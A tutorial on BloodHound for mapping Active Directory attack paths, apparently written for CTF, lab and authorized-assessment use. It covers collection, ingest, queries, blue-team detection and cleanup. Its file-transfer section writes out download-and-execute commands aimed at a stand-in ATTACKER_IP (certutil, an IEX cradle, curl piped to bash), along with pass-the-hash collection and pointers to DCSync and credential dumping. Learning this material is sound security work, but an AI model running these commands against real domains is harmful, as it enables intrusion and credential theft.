BloodHound

BloodHound turns a pile of Active Directory facts into a graph: users, groups, computers, sessions, ACLs, and trusts become nodes and edges you can query. Instead of reading raw LDAP dumps by hand, you ask “what is the shortest path from the user I control to Domain Admin?” and BloodHound draws it. It solves the problem that AD privilege relationships are too tangled to track in your head once a domain has more than a handful of objects.

It has two halves. A collector (SharpHound or bloodhound-python) gathers the data from the domain, and the BloodHound GUI on your attacker box ingests that data and lets you query it. You will meet it on almost every AD-flavored CTF box, in lab ranges, and in authorized internal assessments, because once you have any domain foothold it tells you where to go next.

What you will learn#

  • How to install BloodHound and a collector, and verify both work
  • How to collect domain data with SharpHound (Windows) and bloodhound-python (from your box)
  • How to get the collector onto a target and pull the results back
  • How to ingest the data and run the pre-built and custom queries
  • How to read paths and edges without chasing leads that go nowhere
  • The mistakes that waste the most time, and a commented cheat sheet you will reuse

Only collect against domains you own or are explicitly authorized to test. CTF platforms, your own AD lab, and dedicated practice ranges are all fair game. Anything else needs written permission and an agreed scope. Collection touches a lot of LDAP and SMB across the domain, so keep a short note of the target domain, the authorization, and the date next to your output. This section is the boring part that keeps the fun part legal.


Prerequisites#

  • An attacker box (Kali, Parrot, or any Ubuntu/Debian host) for the GUI and analysis.
  • A foothold in the target domain: valid domain credentials, a hash, a Kerberos ticket, or a shell on a domain-joined Windows host. Collection needs an authenticated context.
  • Network access to a domain controller (LDAP 389/636, SMB 445, and ideally DNS) from wherever the collector runs.
  • Basic AD literacy helps you act on findings: users, groups, GPOs, ACLs, Kerberos, and the classic edges (GenericAll, WriteDacl, AddMember, DCSync rights).
  • ATTACKER_IP is your box. TARGET_IP is a domain controller you are authorized to test. DOMAIN is the lab domain, for example lab.local.

Lab setup#

Keep every engagement in its own folder so collector zips, notes, and loot never mix.

# One folder per domain or per lab, with room for collector output and notes
mkdir -p ~/labs/bh-demo/{collected,loot,notes,scripts}
cd ~/labs/bh-demo

Use private ranges for practice targets (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and a throwaway lab domain like lab.local. Throughout this guide, TARGET_IP is a domain controller you are authorized to test, DOMAIN is the lab domain, and USERNAME / PASSWORD are lab credentials you already hold.


Installation#

BloodHound has two pieces: the GUI/analysis side on your box, and a collector that runs against the domain. Pick the method that matches your environment.

# BloodHound Community Edition GUI (preferred): runs as Docker containers
sudo apt update && sudo apt install -y docker.io docker-compose-v2
curl -L https://ghst.ly/getbhce -o docker-compose.yml   # official compose file
sudo docker compose up -d
# The web UI comes up on http://127.0.0.1:8080 and prints a one-time admin password on first run.

# Legacy BloodHound (older Electron app + neo4j) on Kali, if you want the classic UI
sudo apt update && sudo apt install -y bloodhound neo4j
# Python collector on your attacker box (preferred when you have creds but no Windows host)
pipx install bloodhound          # gives you the bloodhound-python command
# or: sudo apt install -y bloodhound.py

For the Windows collector, SharpHound, grab SharpHound.exe (or the .ps1) from the official BloodHound release that matches your GUI version. The collector and the ingestor must agree on the data format, so always pair the SharpHound from the same release as your BloodHound. Use Docker for the GUI whenever you can; it bundles neo4j and avoids the version drift that breaks the older Kali package.


Getting it onto the target#

Moving the SharpHound collector onto the target is a standard file-transfer problem; for the full menu of methods (HTTP, SMB, Windows download cradles, netcat, SCP/SSH, base64) see the file transfer methods guides. The BloodHound specifics, including running the collector vs the GUI and pulling results back, are below.

BloodHound is split, so “getting it onto the target” means two different things. The GUI always stays on your box. The collector is what travels.

Why this matters. SharpHound runs on a domain-joined host. If your foothold is a shell on a Windows target, you transfer SharpHound.exe there and run it. The simplest way to move a file over an existing foothold is to turn your attacker box into a throwaway web server so the target pulls the file itself, with no install and no copy-pasting a huge binary into a shell.

On your attacker box (serve the collector):

# From the directory that holds SharpHound.exe (or the .ps1)
cd ~/labs/bh-demo/scripts
python3 -m http.server 8000
# This serves the folder over HTTP on port 8000. The target downloads from http://ATTACKER_IP:8000/.
# Stop it with Ctrl+C the moment you are done; it is a throwaway, not a service.

On the target (Windows, the usual case): SharpHound is an .exe, so pull it down and run it on the domain-joined host you have a shell on.

# certutil is on every Windows host and needs no dependencies
certutil -urlcache -f http://ATTACKER_IP:8000/SharpHound.exe C:\Windows\Temp\SharpHound.exe

# PowerShell alternative
iwr http://ATTACKER_IP:8000/SharpHound.exe -OutFile C:\Windows\Temp\SharpHound.exe

# Run it from a writable, unremarkable location and collect everything into a timestamped zip
.\SharpHound.exe -c All --outputdirectory C:\Windows\Temp
# C:\Windows\Temp is world-writable; SharpHound drops a 20260328123456_BloodHound.zip there.
# If you only have the PowerShell collector, use an IEX download-cradle to load it in memory,
# then call the function it exposes. This avoids writing the .ps1 to disk.
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Windows\Temp

On a Linux target (less common, you usually run the Python collector from your own box):

# Save when you want a copy on disk; pipe when you want it transient
wget http://ATTACKER_IP:8000/tool -O /tmp/tool && chmod +x /tmp/tool
# /tmp and /dev/shm are world-writable and survive only until reboot, so they are good for
# throwaway files. Pipe a shell script straight to bash when you do not want it on disk at all:
curl http://ATTACKER_IP:8000/tool.sh | bash

Pulling the results back to your box. Once SharpHound has written its zip on the target, copy it back over the same foothold so you can ingest it in the GUI.

# Easiest path: smbclient or netexec from your box to grab the zip off the target share
smbclient //TARGET_IP/C$ -U "DOMAIN\\USERNAME%PASSWORD" \
  -c "cd Windows\\Temp; get 20260328123456_BloodHound.zip ~/labs/bh-demo/collected/bh.zip"

Running the collector entirely from your box (no transfer at all). When you hold valid credentials, bloodhound-python talks to the DC over the network and never touches the target’s disk. This is the quietest collection and skips the whole transfer dance.

# bloodhound-python runs on your attacker box and writes JSON locally
bloodhound-python -d DOMAIN -u USERNAME -p PASSWORD -ns TARGET_IP -c All \
  -op ~/labs/bh-demo/collected/bh
# Output: several *_DOMAIN.json files you zip and ingest, no files left on the target.

Update process#

# BloodHound CE GUI (Docker): pull the newest images and restart
sudo docker compose pull && sudo docker compose up -d

# Python collector
pipx upgrade bloodhound        # or: sudo apt update && sudo apt install --only-upgrade bloodhound.py

# SharpHound: replace SharpHound.exe with the build from the matching BloodHound release

The collector format changes between major releases, so always re-download SharpHound when you upgrade the GUI. A mismatch shows up as an ingest error or an empty graph.


Check if installed and available#

command -v bloodhound-python    # prints the path if the Python collector is installed
bloodhound-python --help        # confirm it runs and skim the options
sudo docker compose ps          # confirm the GUI/neo4j containers are up

If the containers are not listed, run sudo docker compose up -d from the folder that holds the compose file. If command -v prints nothing, the collector did not install or your PATH is stale; open a new terminal or re-run the install step.


First safe test#

Against a lab DC you control, run a credentialed Python collection. It proves the whole pipeline works and leaves nothing on the target.

bloodhound-python -d DOMAIN -u USERNAME -p PASSWORD -ns TARGET_IP -c DCOnly \
  -op ~/labs/bh-demo/collected/test

Expected: a short run that writes a few *_DOMAIN.json files. Success looks like Done in 00M 0XS with no auth errors. Failure looks like Authentication failed (wrong creds or clock skew), Could not resolve (point -ns at the DC’s IP), or command not found (install problem). DCOnly is the lightest collection method, which makes it a good harmless first test.


Core concepts#

  • Nodes are AD objects: Users, Groups, Computers, GPOs, OUs, Domains, Containers.
  • Edges are relationships between nodes: MemberOf, AdminTo, HasSession, GenericAll, WriteDacl, AddMember, DCSync, CanRDP, and many more. Edges are the attack paths.
  • Collection methods (-c / --CollectionMethod) decide what the collector gathers: Default, DCOnly (LDAP only, quiet), Session/LoggedOn (who is logged in where, louder), ACL, Group, Trusts, and All.
  • The two halves: the collector produces JSON, the GUI ingests it into a neo4j graph.
  • Mark as owned / high value: flag the nodes you control and the targets you want, so paths to “owned -> high value” become one click.
  • Pre-built queries (Cypher) answer the common questions: shortest paths to Domain Admins, Kerberoastable users, AS-REP-roastable users, machines where a Domain Admin is logged in.
  • Edges can be stale. Session data is a snapshot; a user logged in at collection time may be gone now. Treat sessions as leads, not guarantees.

When this tool is useful#

  • CTFs and AD labs: once you have any domain creds, it shows the path to Domain Admin.
  • Internal assessments: map privilege relationships and find unintended admin paths fast.
  • Defensive validation: run it on your own domain to see what an attacker would target, then cut the dangerous edges (excess ACLs, stale admin group nesting).
  • Tier-zero review: find which non-admin objects can reach domain controllers or DCSync.
  • Post-foothold triage: decide whether to Kerberoast, abuse an ACL, or pivot to another host.

When not to use this tool#

  • When you have no authenticated context yet; collection needs valid creds, a hash, or a ticket.
  • On extremely monitored domains where bulk LDAP and session enumeration will trip alerts and you have not scoped the noise.
  • As proof of exploitability; an edge is a lead you still verify and abuse by hand.
  • When you only need one fact (one group’s members); ldapsearch or netexec is lighter.
  • When the data is stale; an old session edge can send you chasing a path that no longer exists.

Command anatomy#

The collector is the part you run repeatedly. Here is bloodhound-python:

bloodhound-python -d [domain] -u [user] -p [pass] -ns [dc-ip] -c [methods] -op [output base]
#                  DOMAIN     USERNAME  PASSWORD  TARGET_IP    All/DCOnly  collected/bh
  • -d: the domain (FQDN), for example lab.local.
  • -u / -p: the credentials you already hold (or -hashes / -k for a hash or ticket).
  • -ns: the nameserver, usually the domain controller’s IP, so names resolve.
  • -c: collection methods; All for everything, DCOnly for quiet LDAP-only.
  • -op: output prefix; the run writes prefix_users.json, prefix_groups.json, and so on.

SharpHound is the same idea on Windows: .\SharpHound.exe -c All --outputdirectory C:\path.


Common flags and options#

OptionMeaningWhen to use itExample
-c AllCollect every methodFull picture in a labbloodhound-python ... -c All
-c DCOnlyLDAP only, no sessionsQuietest collectionbloodhound-python ... -c DCOnly
-d DOMAINTarget domain FQDNAlwaysbloodhound-python -d lab.local ...
-u / -pUsername / passwordCredentialed run... -u USERNAME -p PASSWORD
--hashesPass-the-hash authYou have an NT hash, not a password... --hashes :NTHASH
-kKerberos authYou have a ticket (KRB5CCNAME)... -k -no-pass
-ns TARGET_IPDNS server (the DC)Names will not resolve otherwise... -ns TARGET_IP
-op NAMEOutput prefixKeep runs tidy... -op collected/bh
--zipZip the JSON outputSingle file to ingestbloodhound-python ... --zip
-c SessionLogged-on sessionsFind where admins are logged inbloodhound-python ... -c Session

For SharpHound: -c All, --outputdirectory PATH, --stealth (quieter), --loop (repeat session collection over time), and --zippassword to protect the output zip.


Practical examples#

Each command below explains what it does and what to expect.

# Full credentialed collection from your box (no files on the target)
bloodhound-python -d DOMAIN -u USERNAME -p PASSWORD -ns TARGET_IP -c All --zip \
  -op ~/labs/bh-demo/collected/full
# Output: one zip of JSON ready to drag into the GUI. The quietest "everything" option.
# Quiet LDAP-only collection when sessions are too noisy
bloodhound-python -d DOMAIN -u USERNAME -p PASSWORD -ns TARGET_IP -c DCOnly --zip \
  -op ~/labs/bh-demo/collected/dconly
# Output: groups, ACLs, trusts, GPOs. No session enumeration, so much less noise.
# Collect with a hash instead of a password (you cracked or relayed it)
bloodhound-python -d DOMAIN -u USERNAME --hashes :NTHASH -ns TARGET_IP -c All --zip \
  -op ~/labs/bh-demo/collected/pth
# Output: same JSON; useful after a pass-the-hash style foothold.
# Collect with a Kerberos ticket (you have a TGT in KRB5CCNAME)
export KRB5CCNAME=/tmp/USERNAME.ccache
bloodhound-python -d DOMAIN -u USERNAME -k -no-pass -ns TARGET_IP -c All --zip \
  -op ~/labs/bh-demo/collected/krb
# Output: same JSON without sending a password; handy when only a ticket is available.
# SharpHound on a domain-joined target: full collection into a writable temp dir
.\SharpHound.exe -c All --outputdirectory C:\Windows\Temp
# Output: a timestamped *_BloodHound.zip. Pull it back to your box to ingest.
# SharpHound stealth collection: skip the noisiest enumeration
.\SharpHound.exe -c All --stealth --outputdirectory C:\Windows\Temp
# Output: a smaller, quieter dataset. Use on monitored hosts where -c All is too loud.
# SharpHound looped session collection to catch admins who log in later
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --outputdirectory C:\Windows\Temp
# Output: repeated session snapshots over two hours; great for catching a logon window.
# After ingest, mark the user you control as owned (do this in the GUI)
# Right-click the node -> "Mark as Owned". Then run "Shortest Paths from Owned Principals".
# This is where BloodHound earns its name: it draws the route from you to Domain Admin.

Example workflow#

A realistic beginning-to-end pass on one authorized lab domain.

# 1. Prepare and confirm scope
mkdir -p ~/labs/lab01/{collected,notes} && cd ~/labs/lab01
echo "scope: DOMAIN via TARGET_IP, authorized $(date -I)" > notes/scope.txt

# 2. Collect from your box with the creds you hold (quiet, no target files)
bloodhound-python -d DOMAIN -u USERNAME -p PASSWORD -ns TARGET_IP -c All --zip \
  -op collected/run1

# 3. Start the GUI and ingest the zip
sudo docker compose up -d        # then open http://127.0.0.1:8080 and upload collected/run1.zip

# 4. In the GUI: mark your foothold user as Owned, mark Domain Admins as High Value
# 5. Run "Shortest Paths from Owned Principals" and "Find Kerberoastable Accounts"
# 6. Pick the shortest path, note each edge, and verify the first hop by hand

From here, the edges decide the next tool: a Kerberoastable user leads to a hashcat crack, a GenericAll over a group leads to adding yourself with net group, and a DCSync edge leads to an Impacket secretsdump. Document each hop in notes/ as you go.


Reading and interpreting output#

  • A drawn path is a chain of edges from a node you control to a node you want. Read it left to right; each edge is one action to perform.
  • Edge type tells you the abuse. MemberOf is just nesting, GenericAll/WriteDacl let you take control of an object, AdminTo means local admin on a computer, HasSession means a user’s credentials may be recoverable from that machine, DCSync means you can pull hashes.
  • “Shortest Paths to Domain Admins” with no result usually means you have not marked your foothold as Owned, or the collection missed the relevant edges (re-run with -c All).
  • Right-click any edge and read “Help” / “Abuse Info”; it tells you exactly how to use it.
  • Session edges are a snapshot. A HasSession from collection time may be gone now; confirm the user is still logged in before you build a plan around it.
  • Empty graph after ingest usually means a collector/GUI version mismatch or an empty zip.

Common mistakes#

  • Running the GUI but never marking your foothold node as Owned, so the path queries return nothing.
  • Pairing a SharpHound build with a different BloodHound release and getting an empty or failed ingest.
  • Pointing -ns at the wrong nameserver, so names do not resolve and collection comes back thin.
  • Treating a stale HasSession edge as current and planning around a logon that ended hours ago.
  • Using -c All (with sessions) on a monitored host when -c DCOnly would have been enough.
  • Trusting an edge as proof; every edge needs a manual verification before you act on it.
  • Clock skew breaking Kerberos auth, then blaming the credentials instead of syncing the time.

Troubleshooting#

ProblemLikely causeFix
command not foundCollector not installed / PATHpipx install bloodhound; open a fresh shell
Authentication failedWrong creds or clock skewRe-check creds; sudo ntpdate TARGET_IP
Could not resolve hostWrong or missing nameserverAdd -ns TARGET_IP pointing at the DC
Empty graph after ingestCollector/GUI version mismatchRe-download SharpHound matching the GUI
GUI will not startContainers downsudo docker compose up -d from the compose dir
No path to Domain AdminFoothold not marked OwnedRight-click node -> Mark as Owned, re-run query
Collection very slow / loudSession enumeration on big domainUse -c DCOnly or --stealth
Results differ from a guideVersion / edge name changesCheck the release notes; edge names change

Tools that pair well#

  • netexec: validate creds and spray across the domain before and after collection; it also has a BloodHound collection module.
  • impacket: turn edges into action (secretsdump for DCSync, GetUserSPNs for Kerberoasting, addcomputer for delegation abuse).
  • ldapsearch: confirm a single object or group quickly without a full re-collection.
  • hashcat: crack the Kerberoastable / AS-REP-roastable hashes BloodHound points you at.
  • evil-winrm: get an interactive shell on a host once a path gives you admin or WinRM rights.
  • mimikatz: recover credentials from a HasSession machine you gain admin on.
  • enum4linux-ng: broad SMB/LDAP enumeration before you have the creds collection needs.

Automation and note taking#

# Timestamped, zipped collection plus a one-line scope note in a single shot
bloodhound-python -d DOMAIN -u USERNAME -p PASSWORD -ns TARGET_IP -c All --zip \
  -op "collected/run-$(date +%Y%m%d-%H%M)" \
  2>&1 | tee "notes/collect-$(date +%Y%m%d-%H%M).txt"

Keep the JSON zips per run so you can compare snapshots over time, save the Cypher queries you write into a notes/queries.cypher file, and screenshot each attack path you abuse for the report. Record which edge you used and the exact command that walked it.


Blue-team visibility#

Collection is noticeable. A full SharpHound or bloodhound-python run generates a burst of LDAP queries against the domain controller (visible in Directory Service and LDAP logging), heavy SMB session enumeration across hosts (Windows Event ID 4624/4672 and SMB connection logs), and, on older setups, SAMR/NetSession traffic that EDR flags as recon. Looped session collection produces a repeating pattern that stands out. As a defender, alert on bulk LDAP enumeration from a single principal, mass \\host\IPC$ connections in a short window, and SharpHound’s characteristic query volume. As a tester, this is why -c DCOnly and --stealth exist.


Safer or lower-noise usage#

  • Prefer -c DCOnly (LDAP only) when you do not need session data; it skips the loudest part.
  • Run bloodhound-python from your box so nothing lands on the target’s disk.
  • Use SharpHound --stealth on monitored hosts to skip the noisiest enumeration.
  • Collect once, ingest, and query offline rather than re-running collection repeatedly.
  • Confirm scope and the DC’s IP before the first query, and avoid --loop unless you need it.

Alternatives#

  • netexec --bloodhound module: collects graph data as part of a wider enumeration sweep; handy when you are already in netexec and want one less tool. BloodHound’s own collectors are more complete.
  • ldapdomaindump / ADExplorer: dump raw AD data when you want the underlying objects rather than a graph; useful for hand analysis, weaker for path finding.
  • PingCastle / PurpleKnight: defensive AD posture scanners; better for “how healthy is this domain” than for “what is my path to DA”.
  • BloodHound wins for attack-path graphing and the pre-built queries; the raw dumpers win when you want the source data and the posture scanners win for blue-team review.

Deprecated and legacy notes#

  • The old Electron app (BloodHound 4.x with neo4j on the desktop) is largely superseded by BloodHound Community Edition (the Dockerized web UI). Old guides showing the desktop app still mostly apply, but the install and ingest steps differ.
  • Some edge names and query names change between releases, so a Cypher query from an old writeup may reference an edge that has been renamed. Check the current edge documentation if one is missing.
  • CollectionMethod values have shifted over versions; older --CollectionMethod lists may not match your SharpHound build.

Quick reference cheat sheet#

# --- Collect from your box (quietest, no target files) ---
bloodhound-python -d DOMAIN -u USERNAME -p PASSWORD -ns TARGET_IP -c All --zip -op collected/full

# --- Quiet LDAP-only collection ---
bloodhound-python -d DOMAIN -u USERNAME -p PASSWORD -ns TARGET_IP -c DCOnly --zip -op collected/dconly

# --- Pass-the-hash collection ---
bloodhound-python -d DOMAIN -u USERNAME --hashes :NTHASH -ns TARGET_IP -c All --zip -op collected/pth

# --- Kerberos-ticket collection ---
export KRB5CCNAME=/tmp/USERNAME.ccache
bloodhound-python -d DOMAIN -u USERNAME -k -no-pass -ns TARGET_IP -c All --zip -op collected/krb

# --- Serve the collector to a target ---
cd ~/labs/bh-demo/scripts && python3 -m http.server 8000   # then fetch from the target
# --- Pull SharpHound onto a Windows target ---
certutil -urlcache -f http://ATTACKER_IP:8000/SharpHound.exe C:\Windows\Temp\SharpHound.exe

# --- SharpHound full collection ---
.\SharpHound.exe -c All --outputdirectory C:\Windows\Temp        # makes a *_BloodHound.zip

# --- SharpHound stealth + looped sessions ---
.\SharpHound.exe -c All --stealth --outputdirectory C:\Windows\Temp
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --outputdirectory C:\Windows\Temp
// --- Useful queries to run after ingest (paste into the GUI's Cypher box) ---
// Shortest path from anything you marked Owned to Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group)) WHERE g.name STARTS WITH "DOMAIN ADMINS" RETURN p
// Kerberoastable users (have an SPN)
MATCH (u:User {hasspn:true}) RETURN u.name
// AS-REP-roastable users (no preauth)
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

Mini decision tree#

  • You have creds but no Windows host: collect from your box with bloodhound-python -c All.
  • You have a shell on a domain-joined Windows host: transfer and run SharpHound.exe -c All.
  • The host is monitored: use -c DCOnly or SharpHound --stealth.
  • “No path to Domain Admin”: mark your foothold as Owned and re-run the path query.
  • Empty graph after ingest: re-download SharpHound to match the GUI version.
  • An edge looks promising: right-click it, read “Abuse Info”, verify the first hop by hand.

Final checklist#

  • Scope and authorization noted next to the output
  • Collector version matches the BloodHound GUI version
  • Foothold node marked Owned, targets marked High Value
  • Path verified hop by hop, not trusted blindly
  • Collector files and zips cleaned off the target
  • No real third-party domains or real credentials used

Final summary#

BloodHound is best when you treat it as a map, not an oracle: collect, ingest, mark your foothold as Owned, and let it draw the shortest path to Domain Admin. The fastest way to start is bloodhound-python -d DOMAIN -u USERNAME -p PASSWORD -ns TARGET_IP -c All --zip. The most expensive mistake is trusting a stale session edge or an unverified path and planning a whole engagement around it. Learn impacket and hashcat next, since they are how you turn the edges BloodHound finds into a real foothold escalation.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop